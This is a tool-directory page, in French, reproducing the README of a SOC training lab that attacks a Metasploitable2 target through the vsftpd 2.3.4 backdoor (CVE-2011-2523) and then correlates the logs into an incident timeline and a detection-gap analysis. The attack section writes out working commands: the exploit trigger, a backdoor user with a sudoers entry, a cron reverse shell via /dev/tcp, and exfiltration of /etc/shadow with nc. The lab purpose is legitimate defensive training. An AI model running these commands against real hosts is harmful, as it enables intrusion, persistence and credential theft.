Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/mithileshan/soc-investigation-lab
ReconnaissanceAnalyse des VulnérabilitésExploitationAnalyse ForensiquePost-ExploitationTests d'IntrusionRenseignement sur les MenacesApprentissage et ÉducationRéponse aux Incidents

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Analyse de Journaux
Labs et Pratique
GitHubmithileshan/soc-investigation-lab

soc-investigation-lab

Investigation SOC de bout en bout : kill chain CVE-2011-2523, corrélation de logs multi-sources, rapport d'incident — MITRE ATT&CK T1190

Voir le dépôt
1il y a 4 moisPas encore vérifié
Partager

Laboratoire d'investigation SOC de bout en bout

Exécute une chaîne d'attaque complète en quatre phases (Reconnaissance → Exploitation → Persistance → Exfiltration) contre Metasploitable2, collecte des preuves à chaque phase et produit une chronologie d'incident structurée et un rapport SOC — démontrant une réflexion simultanée d'attaquant et de défenseur.

MITRE ATT&CK T1190 MITRE ATT&CK T1136 MITRE ATT&CK T1078 MITRE ATT&CK T1041 Python


Objectif

Ceci est le projet de synthèse. Il démontre la capacité à :

  • Exécuter une chaîne de destruction réaliste contre une cible délibérément vulnérable
  • Collecter des preuves forensiques à chaque étape en utilisant plusieurs sources de télémétrie
  • Corréler les entrées de journaux de systèmes disparates en une chronologie d'incident unifiée
  • Effectuer une analyse des lacunes de visibilité — en identifiant ce qui aurait été manqué sans une couverture de détection adéquate
  • Produire un rapport d'incident de niveau SOC dans le format utilisé par les équipes de sécurité réelles
  • L'exploit utilisé (CVE-2011-2523 — backdoor vsftpd 2.3.4) est historiquement significatif : il s'agissait d'une attaque de la chaîne d'approvisionnement où un adversaire a injecté une porte dérobée dans le dépôt source du paquet open-source vsftpd.


    Architecture

    root@kitploit:~
                        ╔═══════════════════════════════╗
                        ║  soc-lab (172.23.0.0/24)       ║
                        ║                               ║
    ┌─────────────┐     ║  ┌─────────────────────────┐  ║
    │  Attacker   │     ║  │  Metasploitable2        │  ║
    │  Kali Linux │     ║  │  172.23.0.200           │  ║
    │             │     ║  │                         │  ║
    │  Phase 1    │─────╫─►│  :21  vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
    │  nmap -A    │     ║  │  :22  SSH               │  ║    backdoor on :6200
    │             │     ║  │  :80  HTTP (DVWA)        │  ║
    │  Phase 2    │─────╫─►│  :445 Samba             │  ║
    │  msf exploit│◄────╫──│  :6200 root shell       │  ║
    │             │     ║  └─────────────────────────┘  ║
    │  Phase 3    │─────╫─► useradd sysbackup           ║
    │  persistence│─────╫─► crontab reverse shell       ║
    │             │     ║                               ║
    │  Phase 4    │◄────╫── /etc/shadow via nc :5555    ║
    │  exfiltration     ╚═══════════════════════════════╝
    └──────┬──────┘
           │
           │ Evidence collection:
           │  logs/msf_session.log
           │  logs/target_auth.log
           │  captures/full_attack_chain.pcap (tshark CSV)
           ▼
    ┌──────────────────────────────────────────────────┐
    │  build_timeline.py                               │
    │  Parser: MSF log + auth.log + tshark CSV         │
    │  → merge by timestamp → tag by phase             │
    │  → JSON timeline + Markdown incident report      │
    └──────────────────────────────────────────────────┘
    

    Outils et Stack

    OutilObjectif
    Metasploitable2Cible Linux délibérément vulnérable
    Nmap 7.94Phase 1 : Énumération des services
    Metasploit 6.xPhase 2 : Exploit vsftpd 2.3.4
    NetcatPhases 3–4 : Persistance + exfiltration
    tsharkCapture de paquets tout au long de toutes les phases
    Python 3build_timeline.py — fusionneur de journaux multi-sources
    Splunk Free / ELKDétection SIEM spécifique à chaque phase

    Configuration

    root@kitploit:~
    cd docker/
    
    # Start Metasploitable2 (isolated network)
    docker compose up -d metasploitable
    
    # Verify target is reachable
    nmap -p 21,22,80 172.23.0.200
    
    # Start background packet capture
    sudo tcpdump -i eth0 host 172.23.0.200 \
        -w captures/full_attack_chain.pcap &
    

    Comment exécuter (Chaîne d'attaque)

    Phase 1 — Reconnaissance

    root@kitploit:~
    nmap -sV -O -A \
        -p 21,22,80,139,445,3306,5432 \
        --script=banner,ftp-anon,http-title \
        -oX logs/recon_scan.xml \
        172.23.0.200
    

    Résultat clé : 21/tcp open ftp vsftpd 2.3.4

    Phase 2 — Exploitation (CVE-2011-2523)

    root@kitploit:~
    # Method A: Metasploit
    msfconsole -q -x "
      use exploit/unix/ftp/vsftpd_234_backdoor;
      set RHOSTS 172.23.0.200;
      set PAYLOAD cmd/unix/interact;
      run" | tee logs/msf_session.log
    
    # Method B: Manual (demonstrates the mechanism)
    # Step 1: Trigger backdoor by sending username with ':)'
    printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
    # Step 2: Connect to spawned root shell
    nc 172.23.0.200 6200
    # → id: uid=0(root) gid=0(root)
    

    Pourquoi cela fonctionne : Lorsque vsftpd 2.3.4 reçoit un nom d'utilisateur contenant la sous-chaîne :), le démon exécute execl("/bin/sh",...) lié au port TCP 6200. Aucune authentification requise — shell root direct.

    Phase 3 — Persistance

    root@kitploit:~
    # Execute in the root shell on target:
    useradd -m -s /bin/bash sysbackup
    echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
    echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
    (crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -
    

    Phase 4 — Exfiltration

    root@kitploit:~
    # Receiver (attacker)
    nc -lvnp 5555 > samples/exfiltrated_shadow.txt
    
    # Sender (on target)
    cat /etc/shadow | nc 172.23.0.1 5555
    

    Construire la chronologie de l'incident

    root@kitploit:~
    # Convert PCAP to CSV first
    bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap
    
    # Build timeline from all sources
    python3 src/build_timeline.py \
        --msf-log  logs/msf_session.log \
        --auth-log logs/target_auth.log \
        --pcap-csv captures/full_attack_chain_packets.csv \
        --output-json samples/timeline.json \
        --output-md   docs/incident_report.md \
        --pretty
    

    Exemple de sortie

    build_timeline.py stderr

    root@kitploit:~
    2026-04-24T16:05:20  [INFO    ]  Parsed 9 events from MSF log
    2026-04-24T16:05:20  [INFO    ]  Parsed 11 events from auth.log
    2026-04-24T16:05:20  [INFO    ]  Parsed 4 flow-initiation events from PCAP CSV
    2026-04-24T16:05:20  [INFO    ]  Total events (sorted): 24
    2026-04-24T16:05:20  [INFO    ]  Unique IOCs extracted: 4
    2026-04-24T16:05:20  [INFO    ]  Phase RECON   : 8 event(s)
    2026-04-24T16:05:20  [INFO    ]  Phase EXPLOIT : 4 event(s)
    2026-04-24T16:05:20  [INFO    ]  Phase PERSIST : 6 event(s)
    2026-04-24T16:05:20  [INFO    ]  Phase EXFIL   : 2 event(s)
    

    Chronologie de l'incident (extrait de samples/sample_timeline.json)

    root@kitploit:~
    {
      "total_events": 24,
      "iocs": [
        { "indicator": "172.23.0.1", "phase": "RECON",   "occurrence": 8 },
        { "indicator": "172.23.0.1", "phase": "EXPLOIT",  "occurrence": 2 },
        { "indicator": "sysbackup",  "phase": "PERSIST", "occurrence": 1 }
      ],
      "timeline": [
        { "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON",   "description": "nmap -sV -O -A", "source": "metasploit" },
        { "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
        { "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
        { "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL",   "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
      ]
    }
    

    Analyse des lacunes de visibilité

    Ceci est la sortie analytique la plus importante — ce qui aurait été manqué sans une détection appropriée.

    PhasePreuve brute de journalDétecté par règle SIEMManqué sans couverture
    RECONPCAP : Inondation SYN vers 24 portsRègle de balayage de ports (>20 ports/10s) ✓Scan lent (-T1) : contourne totalement le seuil de débit
    EXPLOITPCAP : nouvelle connexion vers :6200 · Aucune entrée dans auth.logRègle d'anomalie du port :6200 ✓Si l'attaquant utilisait un exploit HTTP sur :80 — pas d'anomalie de port
    PERSISTauth.log : new user: name=sysbackupAlerte de création de nouvel utilisateur ✓Modification directe de /etc/passwd : aucun journal sans auditd
    EXFILPCAP : 4 Ko sortant sur :5555Règle de port non standard + taille ✓Exfiltration DNS (enregistrements TXT) : contourne totalement les règles de volume

    Constat critique : L'exploit vsftpd 2.3.4 ne laisse aucune entrée dans auth.log car il contourne le sous-système de connexion. La seule preuve de journal est la connexion TCP ultérieure au port 6200 — invisible sans télémétrie réseau. Les journaux de terminaux seuls ne peuvent pas détecter cette classe d'attaque.


    Limitations et travaux futurs

    LimitationImpactAtténuation
    vsftpd 2.3.4 est une vulnérabilité de 2011Non représentatif des exploits modernesAjouter EternalBlue (MS17-010) comme scénario d'exploit alternatif
    build_timeline.py utilise une classification par mots-clésClasse incorrectement certains événementsEntraîner un classifieur NLP léger sur des données de journaux étiquetées
    Aucune détection de point de terminaison (EDR)Persistance au niveau fichier (authorized_keys) non capturéeAjouter Wazuh ou Elastic Agent sur la cible
    Exécution manuelle de la chaîne d'attaqueNon reproductible sans intervention interactiveAutomatiser les phases 2 à 4 avec des scripts de ressources Metasploit

    Références

    RéférenceID / Lien
    CVE-2011-2523 — backdoor vsftpd 2.3.4https://nvd.nist.gov/vuln/detail/CVE-2011-2523
    MITRE ATT&CK — Exploitation d'application exposée au publicT1190
    MITRE ATT&CK — Créer un compte : compte localT1136.001
    MITRE ATT&CK — Tâche planifiée/Job : CronT1053.003
    MITRE ATT&CK — Exfiltration via canal C2T1041
    MITRE ATT&CK — Comptes validesT1078

    Structure du projet

    root@kitploit:~
    04-soc-investigation/
    ├── src/
    │   ├── build_timeline.py      # Multi-source log merger + phase tagger
    │   └── run_attack_chain.sh    # Step-by-step attack chain with exact commands
    ├── configs/
    │   └── splunk_detection_rules.spl   # Phase-specific SPL queries (RECON/EXPLOIT/PERSIST/EXFIL)
    ├── samples/
    │   └── sample_timeline.json   # Example incident timeline JSON
    ├── docker/
    │   └── docker-compose.yml     # Metasploitable2 isolated target
    ├── docs/
    │   └── incident_report.md     # Generated SOC report (build_timeline.py --output-md)
    └── screenshots/
    
    Télécharger l’outil